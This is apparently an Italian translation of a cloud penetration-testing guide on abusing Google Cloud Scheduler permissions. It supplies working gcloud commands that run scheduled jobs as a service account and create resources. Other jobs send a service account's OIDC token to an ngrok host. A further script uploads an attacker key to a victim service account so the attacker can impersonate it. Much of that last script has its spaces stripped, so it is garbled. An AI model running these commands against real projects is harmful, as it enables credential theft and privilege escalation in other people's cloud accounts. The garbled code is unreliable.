Un attaccante con questi permessi potrebbe sfruttare Cloud Scheduler per autenticare i cron job come un specifico Service Account. Creando una richiesta HTTP POST, l'attaccante programma azioni, come la creazione di un bucket di Storage, da eseguire sotto l'identità del Service Account. Questo metodo sfrutta la capacità del Scheduler di mirare agli endpoint *.googleapis.com e autenticare le richieste, consentendo all'attaccante di manipolare direttamente gli endpoint dell'API di Google utilizzando un semplice comando gcloud.
Contattare qualsiasi API google tramite googleapis.com con l'intestazione del token OAuth
Crea un nuovo bucket di Storage:
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
Per escalare i privilegi, un attaccante crea semplicemente una richiesta HTTP mirata all'API desiderata, impersonando il Service Account specificato
Esfiltrare il token del service account OIDC
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Se hai bisogno di controllare la risposta HTTP, puoi semplicemente dare un'occhiata ai log dell'esecuzione.
Come nel scenario precedente, è possibile aggiornare un scheduler già creato per rubare il token o eseguire azioni. Ad esempio:
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
Un altro esempio per caricare una chiave privata su un SA e impersonarla:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SAgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Check the logs to check it worked# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file{"type":"service_account","project_id":"$PROJECT_ID","private_key_id":"<key id from key list>","private_key":"$private_key_json","client_email":"victim@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe victim@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri":"https://accounts.google.com/o/oauth2/auth","token_uri":"https://oauth2.googleapis.com/token","auth_provider_x509_cert_url":"https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/victim%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain":"googleapis.com"}# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/fake_key.json